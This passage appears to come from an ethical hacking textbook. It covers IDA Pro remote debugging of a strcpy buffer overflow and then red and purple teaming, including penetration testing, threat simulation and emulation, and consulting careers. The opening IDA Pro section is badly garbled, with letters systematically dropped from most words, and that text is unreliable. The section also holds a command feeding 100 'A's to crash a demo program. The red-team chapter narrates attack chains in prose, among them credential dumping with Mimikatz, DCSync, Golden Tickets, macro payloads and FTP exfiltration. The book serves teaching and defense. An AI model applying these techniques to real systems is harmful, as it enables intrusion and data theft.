buon, shown in Figue 5-19. We ae hen pesened wih he pop-up ha says, “Thee
is aeady a poess being debugged by emoe. Do you wan o aah o i?” We ik
Yes, aowing IDA Po o aah o he emoe GDB Seve. The debugging aemp is
suessfu, and i pauses eeuion one aahed, as shown in Figue 5-21.
Thee ae sevea seions wihin he debugging window. If you ae famiia wih
ohe debugges, hen he seions shoud ook famiia. The main and age seion,
aed IDA View-RIP, is he disassemby view. Cueny, we an see ha he insu-
ion poine (RIP) is poining o a memoy addess hoding he insuion mov rdi,
rsp. Mos of he seions inside he debugging window ae soabe. The seion beow
he disassemby window, aed Hex View-1, dumps any desied memoy segmen in
headeima fom. To he igh of Hex View-1 is he Stack view. This defaus o sa-
ing a he sak poine (RSP) addess, dumping he onens of memoy fo he uen
head’s sak. Above he Sak view seion ae he Threads and Modules seions.
Figure 5-20 IDA debugging options window

104
Figure 5-21 IDA Pro remote debugging session
Finay, in he op igh is he General Registers seion. This seion shows he genea-
pupose poesso egises as we as addiiona egises, inuding he FLAGS egise
and Segmen egises.
Debugge onos ae aivaed hough assigned hokeys, ibbon ba menu ions, o
by going hough he debugging menu. If we ik Pay o aow he pogam o oninue
eeuion, i simpy eminaes, as we have no povided any ommand-ine agumens.
When ooking a he Impos abe wihin his pogam, we see hee is a a o he
depeaed strcpy funion, as shown in Figue 5-22. We hen use Poimiy Bowse o
ae he pah fom he main funion o strcpy, as shown in Figue 5-23. When ook-
ing a he func1 funion, we an see he a o strcpy, as we as he buffe size fo he
desinaion a 040, o 64 byes. We ne se a beakpoin on he a o strcpy, as shown
in Figue 5-24, by iking he addess and pessing he f2 beakpoin hokey.
Figure 5-22 Deprecated call to the strcpy function

Chapter 5: IDA Pro
105
Figure 5-23
Proximity
PART I
Browser path
to strcpy
Wih he beakpoin se on he strcpy funion, and undesanding he desinaion
buffe size, e’s pass in 100 byes as ou agumen o see if we an ge he poess o ash.
We modify ou gdbserver ommand o inude some Pyhon syna on he end as suh:
└─$ gdbserver --once localhost:23946 ./myProg `python3 -c 'print("A" * 100)'`
Process ./myProg created; pid = 8439
Listening on port 23946
Figure 5-24
Breakpoint set
on strcpy
106
Figure 5-25 Breakpoint on strcpy
We hen ik he Pay buon inside of IDA o iniiae he onneion o he debug-
gee. One aahed, we mus ik he Pay buon again o oninue o ou beak-
poin on he strcpy funion. The esu is shown in Figue 5-25. The soue agumen
addessed has been dumped o he Hex View seion so ha we an see wha is going
o be opied o he desinaion buffe on he sak. Pessing he f9 oninue eeuion
hokey in IDA esus in an epeed ash, as shown in Figue 5-26. Snippes ae aken
Figure 5-26 Crash caught in IDA Pro Debugger

Chapter 5: IDA Pro
107
fom he debugge ha show he waning abou a segmenaion fau, he esuing
General Registers seion, and Stack view seion.
PART I
Having he abiiy o oay and emoey debug pogams using IDA Po’s gaphia
fon end, aong wih vaious debugging subs, an geay speed up you anaysis.
Summary
This hape povides you wih he basis of geing saed in using IDA Po as a evese
engineeing oo. Thee ae fa oo many feaues and eensibiiy opions o fi ino a
singe hape. We ooked a geing o know he IDA Po inefae, some of he mos
ommony used feaues of IDA, as we as geing up and unning wih emoe debug-
ging. We wi be using IDA Po in ae hapes oveing Miosof pah diffing and
Windows epoiaion. The bes way o ean o use IDA Po is o ake a basi C pogam,
ike he ones used in his hape, and sa evesing. You an epe o spend a o of
ime googing he answes o quesions aound diffeen assemby insuions and how
o do speifi hings wih IDA Po. You wi see you skis quiky impoving he moe
you use he oo and beome famiia wih evesing wih IDA Po.
For Further Reading

Hex-Rays Blog www.he-ays.om/bog/
IDA Debugger www.he-ays.om/podus/ida/debugge/
IDA Freeware www.he-ays.om/podus/ida/suppo/downoad_feewae/
OpenRCE www.opene.og/aies/
Reverse Engineering Reddit www.eddi.om//ReveseEngineeing/
Reverse Engineering Stack Overflow eveseengineeing.sakehange.om
References
1. Miosof, “Heapao funion (heapapi.h) – win32 apps” (Deembe 5, 2018),
hps://dos.miosof.om/en-us/windows/win32/api/heapapi/nf-heapapi-heapao
(eieved Mah 19, 2021).
2. Koe, J., “New feaue in IDA 6.2: The poimiy bowse” (Augus 8, 2011),
hps://www.he-ays.om/bog/new-feaue-in-ida-6-2-he-poimiy-bowse/
(eieved Mah 20, 2021).
3. Skohinsky, I., “Igo’s ip of he week #14: Commens in IDA” (Novembe 6, 2020),
hps://www.he-ays.om/bog/igo-ip-of-he-week-14-ommens-in-ida/
(eieved Mah 20, 2021).
PART II
Ethical Hacking
Chapter 6 Red and Purple Teams

Chapter 7 Command and Control (C2)
Chapter 8 Building a Threat Hunting Lab
Chapter 9 Introduction to Threat Hunting
Red and Purple Teams
CHAPTER
6
• Introduction to red teams
• Components of a red team
• Threat simulation
• Making money with red teaming
• Purple teams
Although we covered what an ethical hacker is in Chapter 1, it’s important to understand

what the role of an ethical hacker is in the context of the security ecosystem. For both
corporate security and consulting, ethical hackers help provide an adversarial mindset to
security to help organizations understand what an attacker would see, what they could
do, and what the impact would be. This helps organizations grow both tactically, by fix-
ing specific issues, and strategically, by changing the way they operate and do business.
Introduction to Red Teams

The concept of red teaming originated in the military. Competitive training exercises,
where one team takes the role of an attacker (a red team) while another part defends
(a blue team), let you see how well your defenses hold up in practice. In the business
world, red teams attack cybersecurity defenses, including those that apply to people,
processes, and technology. The ethical hacker can take the role of a friendly adversary
to allow organizations to practically evaluate their defensive measures outside of a true
cyberattack. This allows defenders to practice response and evaluate detection before they
are attacked by a true threat actor.
Organizations at different maturity levels require different things from their red team.
As security at an organization becomes more mature, the role of the red team changes,
and the impact to the business as a whole changes as well. In this section, we will look
into what a red team is, the various roles that a red team might have, and discuss what
role each stage plays in an organization’s security growth.
As a security program starts, the first phase is typically to try to implement network
controls like firewalls, proxies, and network intrusion detection systems. Once the basics
are in place, then patch management would be deployed in order to make sure all systems
are patched. How do you know these things are working? One way is through vulner-
ability scanning. Vulnerability scanning will help determine what systems can be seen
111
112
Adversarial LOB
Simulation/Emulation
IR Training
Detection
Engineering
Purple Team
Monitoring and
Incident Response
Security Controls
Pentest
Configuration Management
Vulnerability Management
Vulnerability
Patch Management
Scanning
Network Segmentation/Controls
Figure 6-1 Red team maturity model
on the network from a scanner’s vantage point, what services are exposed, and potential
vulnerabilities. Figure 6-1 shows how each layer of security builds on the next as well as
what types of testing help focus on those areas.
As vulnerability scanning increases within an organization, the false positive rate
increases, and the organization moves to validated vulnerability scanning along with add-
ing in authenticated scans to the vulnerability scanning. Once the organization has the
basics for a vulnerability management program, it is important to look at the gaps for
critical areas of the business.
Once red team activities become routine, some responsibilities may be given to other
areas of an organization, and the red team may evolve. In the end, the more sophisti-
cated red teams have threat emulation and “purple team” capabilities (discussed later in
the chapter) to help drive changes within their organizations in more than just security
controls, but how the organization does business. They may retain other functions as
well, but the top level of capabilities will define the overall capability level, with the most
mature organizations being able to provide value to lines of business (LOBs) and training
opportunities for incident responders before an actual compromise.
Vulnerability Scanning
Vulnerability scanning is the act of running tooling against an environment in an attempt
to find security vulnerabilities. Vulnerability scanning is a breadth activity, in that it tries
to test as many assets as possible to determine if there are missing patches, but it can only
test for known issues that have tests written for them. On the other hand, penetration
Chapter 6: Red and Purple Teams
113
testing goes deeply into assets to try to uncover new vulnerabilities and impacts within a
small subset of systems.
There are generally two types of vulnerability scanning: authenticated and unauthen-
ticated. Most organizations start with unauthenticated first, because it is the easiest to
roll out. The downside of this is that unauthenticated scans typically make best-effort
guesses to determine whether or not a service is vulnerable, so it has a high rate of false
positives (the scanner shows the service as being vulnerable when it’s not) or false nega-
tives (the scanner shows the service as being not vulnerable when it is vulnerable).
PART II
Once an organization is performing vulnerability scanning, it has to have a path to
remediation. This is a combination of patch management and vulnerability remediation
processes. Once these processes are in place, it will frequently become apparent that there
are false positives, and the organization would move to validated vulnerability scanning to
reduce false positives. Validated vulnerability scans authenticate to the system to directly
query software versions, so they can act as both version identification for vulnerabilities as
well as validation that patches have been applied consistently.
In addition to more reliable scan results, authenticated scanning can further enhance
asset and inventory management. Identifying installed software versions, software that
may have been installed that is not supported or is against policy, and other system prop-
erties can be gathered through this process to add into other management and visibility
capabilities of an organization. Identifying systems by more than just an IP address may
also allow more specific asset vulnerability tracking for hosts that use DHCP as well,
meaning that being able to track vulnerability trends for an asset over time is more reliable.
A working vulnerability management program is the foundation for the rest of the
activities in red teaming. Without vulnerability management, penetration testing is only
useful for compliance purposes, and even then, the results will typically not be favorable.
Validated Vulnerability Scanning

Once a vulnerability management process is in place, organizations may want to be able
to validate that the vulnerabilities found are exploitable and that there are no additional
mitigating controls in place that would stop an intrusion. Validated vulnerability scan-
ning fills this gap by taking the results from vulnerability scans and performing manual
validation of the results by attempting to exploit the vulnerability. Once the vulnerability
is exploited, however, the testing typically stops, so further exploitation possibilities are
not explored.
By exploiting the servers and services, the tester removes all doubt about whether a
system is vulnerable. Many folks get their start in penetration testing by doing this type
of testing because the scope is limited, the goals are specific, and there tends to be a lot
of repetition. By building up their skillsets of researching a vulnerability, building an
attack, and executing an exploit, testers can refine their attack skills to prepare for more
advanced penetration testing.
Not all organizations have a separate function for performing validated vulnerability
scanning. Some will just rely on authenticated scans to determine vulnerability and then
force remediation based on that alone. As organizations grow, though, this frequently
becomes an aspect of a program, even if it isn’t long lived.
114
Penetration Testing
Penetration testing explores security vulnerabilities in sequence through building attack
trees. Attack trees show a series of events together and demonstrate the outcome in such
a way that organizations can contextualize what the vulnerabilities mean in their environ-
ment. Although a single vulnerability may have a low rating according to the vulnerabil-
ity scanner’s Common Vulnerability Scoring System (CVSS) score, by combining it with
other vulnerabilities, an attacker may be able to achieve a much bigger impact. These
attack trees provide the security team an understanding of how the vulnerabilities will
be impacted by controls, while the lines of business will be able to see how these vulner-
abilities impact the company from a data and process perspective.
NOTE CVSSv3.1 is the latest version of the CVSS specification. While many
vulnerabilities come with a CVSS score, sometimes they are wrong, and so
understanding how to calculate them yourself will be particularly useful.
You can find a calculator online at https://www.first.org/cvss/calculator/3.1.
Most penetration testers specialize in a specific area: network, application, physical,

device, or cloud testing. That does not mean that is the only type of testing that they do,
because attacks will frequently cross the boundaries of some of these components.
Penetration testing is governed by a statement of work (SOW) that will help define
the parameters of the testing. SOWs vary greatly based on the goals of testing. For some
organizations, the goal is to find everything that might be wrong within a certain area,
while others may have specific targets that they want the tester to try to compromise,
which is referred to as goal-oriented penetration testing.
Goal-oriented penetration testing typically sets goals and a timeframe to explore a
threat model. The customer will typically specify the types of things they are worried
about, such as someone ransoming an environment, stealing corporate secrets, com-
promising sensitive environments, or being able to impact SCADA environments. The
tester will start from a position either on or off the network and then attempt to reach
the target environment by moving through the network, elevating privileges, and moving
further until they reach the target.
Penetration testing helps provide better insights into the impact of vulnerabilities on
the network. By building attack chains, a tester can show how combinations of vulner-
abilities can be put together to achieve results. This way, practical impacts of vulnerabili-
ties can be determined and compensating controls can be evaluated for effectiveness. In
short, many organizations believe that certain controls will catch malicious activity and
that certain vulnerabilities may not be exploitable; however, during a penetration test,
the tester is evaluating what an attacker can do. A proper penetration test report will
not contain “potential findings.” Instead, it will only include findings that are provable
and documented through write-ups, recommendations, and screenshots. Understanding
these practical impacts helps an organization to prioritize and plan security changes that
will ultimate help make the organization more secure.
115
Network Penetration Testing
Network testing deals with operating systems, services, domains, and overall network
topologies. This is what most people think of when they hear the phrase “penetration
testing.” The goals of these tests are typically to look at a network environment and
determine if someone can get into it, to determine possible attack paths an attacker may
take, once inside, and to determine what the impact will be. The tester may be limited to
a specific area of the network, such as only the perimeter of a network, or they could be
given access inside and be limited to a specific area of the network, like a PCI environ-
PART II
ment or customer environment.
Network testing examines the security of an enterprise through the lens of network
infrastructure, protocols, communication, operating systems, and other network-
connected systems. It should evaluate the effectiveness of patch and vulnerability man-
agement, network segmentation, configuration management, and host and network
control efficacy.
Application Penetration Testing

Application testing is scoped to an application, a component of an application, or a small
set of applications. This testing is designed to dig deep into an application and determine
software weaknesses and attack paths within the software itself. Application testers may
deal with web applications, compiled and installed applications (sometimes called “fat”
applications), mobile applications, and even application programming interfaces (APIs).
Application testing typically doesn’t cross the boundaries to looking at post-exploitation
in an operating system.
Application testing may be included with a dynamic application security testing
(DAST) or static application security testing (SAST) program that is incorporated as part
of a software development life cycle (SDLC) process. In this circumstance, applications
may be tested at fixed intervals, as part of specific versioning releases, or even as part of
automated processes when anyone commits a code change.
Application testing provides an organization with an understanding of how the secu-
rity of an application impacts the posture of an organization, which can lead to more
secure products and eliminate fixes later in the SDLC process that may be more costly to
fix. It also helps with assessing the efficacy of controls, including business controls in the
application as well as typical controls such as web application firewalls (WAFs) and other
web server security controls.
Physical Penetration Testing

Physical testing looks at the security of physical aspects of an environment, including
doors, windows, locks, and other controls designed to protect physical access to an area.
This may include activities like picking or bypassing locks, tailgating into environments,
bypassing sensors, bypassing alarms, and other methods of gaining access to a resource.
Even aspects like getting into automatic teller machines (ATMs) would fall into physical
testing, as the locks, alarms, and more would need to be bypassed before any other of the
systems could be evaluated.
116
Device testing is becoming more popular, as you’ll see in Gray Hat Hacking’s IoT
hacking chapters in Part IV of the book. Device testing looks at a combination of the
physical aspects of devices, including physical interfaces, and firmware and application
exploitation, with the goal of compromising the device itself. This frequently includes
SCADA networks and other network-attached hardware as well.
Physical testing may be coordinated between network security and physical security
teams to help understand how physical controls might impact the security posture of
an organization. This could be everything from datacenter security, to how easy it is to
get into a restricted area, to leaving malicious devices behind in an area connected to
the network. These insights will help provide both network and physical security teams
additional recommendations for how to make physical attacks less impactful. This also
highlights that no matter how secure your network is, if an attacker can walk away with
your server without someone stopping them, your data isn’t secure.
Cloud Penetration Testing

Cloud testing is a new discipline that, as of this writing, is not incredibly well developed.
The goal of cloud testing is to identify cloud-related vulnerabilities and compromise
cloud resources. This is typically done by finding weaknesses in provisioning, supply
chain, identity and access (IAM) management, or key management aspects of the cloud.
Possible targets could be cloud storage, cloud services, servers in the cloud, and cloud
management access as a whole.
The types of findings that come from cloud testing range from files that are available to
the Internet to configuration weaknesses that could allow privilege escalation or account
takeover. As new cloud services are deployed, they may integrate with other cloud services,
and cloud testing can help identify security weaknesses in Security Assertion Markup
Language (SAML) integrations and other tools that enable single sign-on (SSO), which
individually may not present risk, but in combination can lead to compromise.
Cloud testing’s SOWs are even more difficult because, in addition to what the com-
pany wants, the various cloud providers have their own rules of engagement (ROE) that
govern their services. Therefore, make sure you are aware of all the components you are
testing and the ROE of the cloud provider before you start testing. Some of these pro-
viders may also have bug bounty programs, as mentioned in Chapter 1, so as you find
weaknesses, you may have multiple avenues to report them.
Many organizations move to the cloud to help eliminate other types of risk, but
cloud services are frequently difficult to configure securely and have other avenues for
misconfigurations and security weaknesses. Without testing these controls and creating
processes, policies, and frameworks for maintaining the security for cloud services, the
business may be introducing risk that isn’t categorized and evaluated by existing tools
and policies.
Testing Process
Testing typically begins with a kick-off call, where the SOW and ROE are discussed with
the client. Testing timeframes are set and any other concerns or topics related to testing
are addressed. Once all of this information is agreed upon, testing dates are set and the
tester can begin planning the engagement. Any changes to the SOW or ROE need to
117
be documented in writing to make sure there are no miscommunications. This process
should be documented as part of team rules and processes.
Regardless of what type of testing you are doing, there is a general pattern to pen-
etration testing. Testing begins with recon, which includes researching IP spaces, DNS
names, and other aspects for network testing, but could include many other items for
other testing types. For instance, for physical testing, looking at arial recon photos online
or pictures posted online from events at a location for additional information may be
part of your recon activities.
PART II
From there, discovery, scanning, exploitation, and post-exploitation are performed.
The details of these are different based on each different type of penetration testing;
however, they are cyclical. After new discoveries are made, additional recon may kick off
additional steps to determine the next set of steps. Entire books have been written about
this process, so we will focus on the business process more than the technical processes
in this chapter.
NOTE The attack life cycle is simplified here. There are execution standards
like PTES (http://www.pentest-standard.org/index.php/Main_Page) that can
help an organization define testing terms, methodologies, and practices for
testers to ensure consistent testing is performed and the most can be gotten
from the testing itself, through scoping all the way to the reporting process.
Once testing has completed, the reporting phase begins. Reporting should contain an
executive summary designed to give nontechnical readers an overview of what the report
means to the organization. This would include high-level aspects such as what goals the
tester reached, the overall impact to the organization, and a general strategy for remedia-
tion and improving the posture of the organization.
An attack narrative helps lay out the steps that were taken during testing and may
include technical details that technical managers will be able to understand about how
an attack unfolded. This may include attack maps laying out the attack chain, the steps
taken to reach the objectives of testing, controls that were encountered, and any bypasses
that were discovered. The narrative is designed to tell the reader what happened and what
the impact was as well as give another tester an understanding of how to re-create that
test if they are assigned it again.
The findings section of a report lists the issues that were found during testing and
typically includes an impact rating, a description of the finding, the steps to re-create it,
screenshots to act as proof, and a remediation suggestion. The impact rating may be listed
as risk in some reports, but because some of the elements of risk can’t be calculated, it is in
reality the perceived impact to the environment. A good report will include a description
of how these impacts are calculated so that the reader can understand what the ratings
mean in context. These findings should have assets or areas of the environment impacted
by them and should be limited to a single issue. Issues that require multiple individuals
to fix them help the business less because they can’t be easily assigned to a group to fix.
Reports may have other elements, depending on what else the customer asks for, such
as information about the dates, SOW, ROE, limitations of testing, any scanning results,
and other aspects that the testing team incorporates into all of their reports. These reports
118
should be clear, concise, and understandable by the target audience. Where necessary,
additional links may be provided to help the reader understand how to fix issues. This
report is the real value in testing, and while the testing itself is helpful, without a quality
report, getting traction to fix issues may be difficult, and it will detract from the quality
of the testing.
Threat Simulation and Emulation

In Chapter 1, we introduced the MITRE ATT&CK framework, which helps categorize
the various stages of an attack and gives a way to describe the tactics, techniques, and pro-
cedures (TTPs) that attackers use. Threat simulation and emulation put together these
attack trees using known TTPs to help identify weaknesses in controls, policies, practices,
and people within an environment. These tests frequently start with a “what if ” scenario
that involves a threat actor, set TTPs, and a goal. It helps the organization understand
what an attacker may see, what the defense teams may see, and what controls, if any, will
interfere with attackers reaching their goals.
By mapping the activities to TTPs, testers can help provide a blue team with mappings
of techniques that work in the environment, don’t work in the environment, and allow
those teams to map these techniques to controls and data sources that detect or don’t
detect certain activity. These can feed into additional purple team activity at a later point.
Threat simulation is not just one thing, which is one of the reasons that it is higher
up the maturity model. Threat simulations can include a blend of phishing, physical,
application, network, and hardware hacking. Threat simulation is similar to penetration
testing, but the key differentiator is that the goal of testing is not simply the “crown jew-
els” of the organization, but instead to test the people, processes, and technology of an
organization based on attack techniques.
Threat simulations also take more planning than penetration tests. The TTPs that
will be used are frequently decided up front for an exercise, and tooling may be created
that specifically exercises certain TTPs, either to determine their efficacy or because their
efficacy is known to be effective. After an exercise has started, some of the TTPs may
not work or may experience problems. Testers may have to adapt or change TTPs even
though others were planned due to time constraints or controls that were unanticipated.
For instance, if utilizing WinRM for lateral movement is a key TTP that was planned,
the tester may have to switch to WMI instead if WinRM is disabled across the enterprise.
NOTE MITRE Attack Navigator (https://mitre-attack.github.io/attack-

navigator/) is an excellent resource for mapping TTPs for an exercise. It has
the ability to annotate TTPs as well as highlight the ones used for an exercise
and export them to JSON for sharing with other team members. In addition,
various layers can be laid on top of others to show the breadth of TTPs
exercised over various threat simulation exercises to focus on what works
and what has yet to be tested. Attack Navigator also has links to the tactic
and technique for each TTP so that the reader can view more about them
based on what has been mapped into an exercise.
119
One example of a threat simulation would begin with someone tailgating into an
office building by following an employee through an open door and implanting a physi-
cal hardware device on the network (T1200). From there, the tester might use Responder
to do LLMNR poisoning (T1577.001) to gather credentials. From there, the attacker
may crack the credential and then use WinRM (T1021.006) to move to other systems
until the tester finds a system with elevated credentials. The testers would then dump cre-
dentials from LSASS (T1003.001) using Mimikatz and capture the plaintext password
for a Domain Administrator account. With those credentials, the testers can execute a
PART II
DCSync (T1003.006) against the domain controller to retrieve all of the credentials for
the domain and create a Golden Ticket (T1588.001). That ticket can be used to imper-
sonate a user that has access to a sensitive web application and then access that applica-
tion through a compromised system by deploying VNC (T1021.005) to a target. Once
logged in to the application the testers could steal and export a spreadsheet that is zipped
with PowerShell (T1005.003) and transferred back to the hardware device and send it
back to the tester over the cellular network (T1008).
Threat emulation is similar to threat simulation in that it focuses on attack trees and
reaching goals, but the primary distinguisher for threat emulation is that emulation is
performing the same TTPs as actual threat actors as opposed to simulations, which are
just focused on TTPs or goals. Emulating specific TTPs, especially custom software, can
be difficult, and it typically requires a close relationship with a threat intelligence team
that can help research and define what TTPs a specific threat actor uses. Typically for
threat emulation, a tester will start out by doing recon on threat actors that will poten-
tially target a customer organization. This may be done through a tester’s own research
or come from a threat intelligence organization that can help provide information on the
targets for common threat actors. Once a threat actor is chosen, the tester will typically
receive a list of TTPs and indicators of compromise (IOCs). The TTPs will detail what is
known about how a threat actor performs various steps, from targeting through exfiltra-
tion. The IOCs will typically include hashes of malware that was used.
During a threat emulation exercise, a tester will adapt the knowledge to the target and
help identify types of things that a threat actor would be going after, such as specific data,
specific impact, or specific access. Once this is identified as a possible target, the tester
will take the TTPs that are known and try to map them to probable attack chains. Many
times, there are steps that are unknown about how a threat actor works, so the tester will
fill those in with likely TTPs that make sense in context.
Next, the tester would look and see what information about IOCs can be found. If
malware is out there, additional analysis may be done through reversing .NET assemblies,
basic reversing of binaries, or write-ups of how the malware behaves. When possible, the
tester can create or modify tools to work similarly to what the known malware does so
that the testing is as realistic as possible. Adding these elements to the attack tree will help
ensure that the emulation is as close as possible to the actual attacker.
CAUTION Obtaining malware samples and analyzing them can be dangerous.

If you are unfamiliar with how to analyze these types of samples safely,
check Chapters 4 and 5 in this book and research how to set up a safe analysis
environment. Not doing so could lead to you being compromised by a real
threat actor and would make for a very bad day.
120
One example might be APT33, otherwise known as Elfin. This a suspected Iranian
group that has targeted aviation and energy sectors. A good place to start doing some
research is on the MITRE ATT&CK site at https://attack.mitre.org/groups/G0064/.
After reviewing the information, you might put together an attack tree that contains a
local flow of techniques until getting access to file server shares that contain the informa-
tion at your organization that might be a target.
Looking at tooling, we see that Ruler and Empire are both present, so a valid attack
tree might begin with password spraying (T1110.003) using Ruler (S0358) against
Outlook Web Access (T1078.004) sites that are Internet facing. After finding a valid
account using this technique, the tester might decide to use PowerShell Empire (S0363)
for command and control (C2) using HTTPS (T1071.001). To deliver the payload,
the tester might decide to build a Trojaned Microsoft Word document (T1024.002)
with a malicious macro written in VBA (T1059.005) that triggers a PowerShell pay-
load (T1059.001). Once this is established, the tester might create an AutoIt (S1029)
executable that can be placed in the Run keys in the Registry to start when a user logs in
(T1547.001). This AutoIt binary might use Base64-encoded (T1132.001) PowerShell
payloads for persistence.
Once the tester gets in, they might use Empire to perform privilege escalation to bypass
UAC and run Mimikatz (T1003.001) to gather credentials and then move laterally using
the captured credentials (T1078) to other systems. Using the Net command (S0039), the
tester can identify users that might give elevated access and then continue to use Empire
to move laterally and dump credentials until they find the target data. Once the target
data is found, the tester might use WinRAR (T1560.001) to compress and encrypt the
data and send it to a tester-controlled FTP server (T1048.003) for exfiltration.
After executing a threat simulation or emulation, the tester would typically map out
all of the TTPs and identify the IOCs of the tools used and the binaries that were run
on systems and then turn those over to the defense team (blue team) to try to determine
what was seen, what was missed, and what was seen but not acted on. These results
would help an organization understand how this threat actor would have impacted the
organization and which controls would be expected to catch some of the material. The
biggest takeaway is what TTPs need to be detected to help proactively discover and block
these threat actors so that the organization stays ahead of them.
The downside of these exercises is they typically require a lot of additional research,
programming, and planning. Because of this, doing these tests on a regular basis is very
difficult, unless you have a big team that can be doing research and supporting other
testers. These tests do, however, give the most realistic understanding of what a specific
threat actor would look like in your environment, how you might fare from a defense
and response standpoint against specific TTPs, and where you need to improve the orga-
nizational security posture to detect and prevent that threat actor from achieving their
goals in your network.
Purple Team
Detection engineering is the process of building detections around various TTPs to help
improve detection and response. In a purple team relationship, this could begin with
the blue team creating a detection and then the red team working to test and refine
121
that detection. It may also be the result of log review and alert refinement after a threat
simulation or emulation exercise. The purple team can be used to help create, refine,
and test detections, resulting in more opportunities for the organization to catch attack-
ers earlier in the attack tree.
Purple teaming can also be used as part of response efforts to emerging threats. This
will provide the organization with a deeper understanding of how an emerging threat
works as well as lead to potential detections for them in response to a 0-day proof of
concept (POC) being released and any news items the organization needs to respond to.
PART II
We will be looking deeper at purple teams later in this chapter.
Making Money with Red Teaming

For most ethical hackers, in addition to enjoying their job, making money is their pri-
mary goal. We already talked a bit about bug bounties in Chapter 1, so we’re going to
focus on more traditional ways to make money with red teaming. The two primary ways
are through corporate red teaming, where you work for a company as part of an internal
red team, and by joining a consultancy and performing consulting services for companies
that either can’t afford their own red team or are looking for an independent assessment
of their company’s security posture.
Both options have their strong and weak points, and many testers will do both over
the course of their career.
Corporate Red Teaming

Corporate red teaming is, just as it sounds, when a tester works for a company and
spends time testing that company’s assets. The primary benefits of corporate red teaming
are that you will get to spend a lot of time learning your company inside and out and
you will be able to more quickly provide value across technologies, lines of business, and
even policies and procedures. By focusing just on improving the security posture of your
organization, you can be part of the team responsible for improving the organization’s
security posture and preparing the organization for attack. In addition, you have the abil-
ity to directly improve the ability to detect and respond.
Having time to dig deeper into technologies also means you might have time to become
an expert on certain technologies, technology stacks, or business processes that map well
to other companies. One example might be if your company does a lot with containers
like containerd, Kubernetes, or Docker, then you might have time to dig deeper into these
technologies and how they are deployed securely, thus becoming an expert.
The downside of this is that most organizations have a fairly static security stack, and
while new technologies are introduced from time to time, a lot of the efforts will be
around fixing detections and hardening the same things, giving you less exposure to a
breadth of products and security approaches. Because of this, some knowledge may not
be immediately portable to other companies, and if you are stuck working on specific
technologies, then your other skills may become stale.
Most of the corporate red team jobs come with significantly less travel than consult-
ing, which is another benefit if you don’t like to travel. Corporate red team jobs will likely
have some travel associated with it, but many companies are allowing more red teams to
122
work remotely, so you may be working from home the majority of the time, with occa-
sional trips into the office. Onsite testing for certain technologies will still have to be in
a specific location, but for most organizations this is not very frequent.
Consultant Red Teaming

Consultant red teams are usually part of broader consulting groups. These teams focus
on offensive testing, which may include validated vulnerability scanning, penetration
testing, and threat simulation. There are some organizations that do threat emulation;
however, they are much more rare, and if a company needs this level of engagement, it
will typically already be building its own teams.
Consulting typically involves working with a different company every week to month
to help it answer a question about its network. These questions range from “Am I com-
pliant?” to “What would an attacker be able to do on my network?” These assessments
are typically scoped based on time.
The plus side of this type of testing is that you will get to see new technologies and a
different environment every few weeks. You will spend a lot of time becoming comfort-
able in new networks, determining how to navigate those networks, and reaching target
goals. You will get to see different technology stacks, including antivirus, intrusion detec-
tion systems, endpoint detection and response systems, and more. Figuring out new ways
to evade and bypass these systems feels a lot more like playing a game.
The downside of these types of engagements is that most organizations that have
testing done by consultancies are less mature, and many testers find themselves getting
into patterns where they can compromise a lot of organizations the same way. They
may become comfortable with certain techniques and not be enticed to grow skillsets
since the ones they already have work most of the time. This can cause individuals to
become stale.
As a result, good consultants will be constantly pushing themselves to learn new tech-
niques and incorporate them during tests, doing their own security research, and more,
to make sure their skillsets stay fresh. This may be done on company time, or it may be
done on personal time.
Frequently, consultancies don’t have set workdays; they have deadlines to get tasks
done, and testers work however long it takes to meet those deadlines. This may mean
some weeks require 80 or more hours of work, and some you may work for 20 hours and
have 20 hours for research. Some organizations will give bonuses based on the amount of
testing you deliver; therefore, to maximize income, testers may work more hours as well
as try to figure out techniques to work smarter in order to make significantly more than
in corporate jobs.
These types of jobs typically are heavier in travel, with little to no notice. As a result,
sometimes it’s hard to plan family events very far in advance, and it’s not uncommon
for consultants to wish their family members “Happy Birthday” over Zoom calls from a
hotel room in another city. This type of travel will frequently burn testers out, and they
may go to a corporate job for some time and then either settle into a corporate position
or come back to consulting for a time until they need additional stability.
123
Purple Team Basics
Purple teaming is the intersection between the red and blue teams. In reality, there is
not a single blue team, just as there are other teams that contribute to the success of red
teams. Frequently, many teams make up a purple team, including the threat intelligence,
incident response, forensics, detection engineering, hunt, red, and leadership teams.
These teams work together to solve problems and help increase the security posture of
an organization.
PART II
Purple Team Skills
What purple teams have the ability to focus on partially depends on the maturity of the
individual components. For instance, without good threat intelligence, it is difficult to
know what threat actors to be focusing on without significant research. It also depends
on the quality of controls, logging and monitoring, the ability to process that data, and
the overall knowledge and understanding of the teams. Frequently, purple teams evolve,
where they begin focusing on an area that is easy to find, like indicators of compromise,
and grow until they can focus on TTPs.
David J. Bianco created the Pyramid of Pain, shown in Figure 6-2, to describe the vari-
ous levels at which defensive teams can impact an attacker. At the bottom level are hash
values, where by simply changing a hash value, the attacker can evade detection. At the
top are TTPs, where an attacker would have to change how they work, the tools they use,
and possibly even the goals they are trying to achieve. Most organizations’ threat intel-
ligence focuses initially on the bottom three levels, which are the IOCs that are readily
available through threat intelligence feeds. These are frequently available to defense tools
as well, so if a hacker comes in from the same place using the same IPs, hostnames, or
executables, it will be fairly easy to block them.
Where the purple teams start to become effective is at the network and host artifacts
level, and going up from there. The network and host artifacts level can include patterns
of URIs and the use of specific ports or protocols for communication. These are things
Figure 6-2
• Tough!
Pyramid TTPs
of Pain by
David J. Bianco Tools • Challenging
(https://bit.ly/
PyramidOfPain) Network/
• Annoying
Host Artifacts
Domain Names • Simple
IP Addresses • Easy
Hash Values • Trivial

124
that red teams can frequently re-create fairly easily to look at what is being logged, and
then teams can find what the various components are logging and work to create better
alerts through surfacing these logs as an event. While changing a port number or using a
different URI scheme isn’t difficult, it requires a lot more effort than just recompiling a
binary or setting up a new IP; therefore, it is more disruptive to an attacker, meaning they
will have to try harder to evade detection in the network.
As the teams build up skill and processes, they may move to testing tools and docu-
menting what tools look like on the network. Tools are an easy focus because they are
readily available, and frequently there is a lot of information about how they are used.
Also, they don’t necessarily require a ton of research, but they do have a learning curve.
So if you know an attacker is using PowerShell Empire, then running it on the network
to look at what it leaves behind, what it looks like, and the ways to potentially detect it
is more difficult than just looking at logs. However, it doesn’t focus on how the tool is
working; instead, it focuses on what it is doing.
When teams work with individual TTPs, they have the ability to be extremely disrup-
tive to attackers. For instance, a defender who understands the relationship between a
file copy with SMB, a DCOM call to WMI, and a process execution from WMIPrvSE is
more able to stop an attack using these components. Individually, these may mean noth-
ing. Together, they are high fidelity indicators of a single attack using WMI to perform
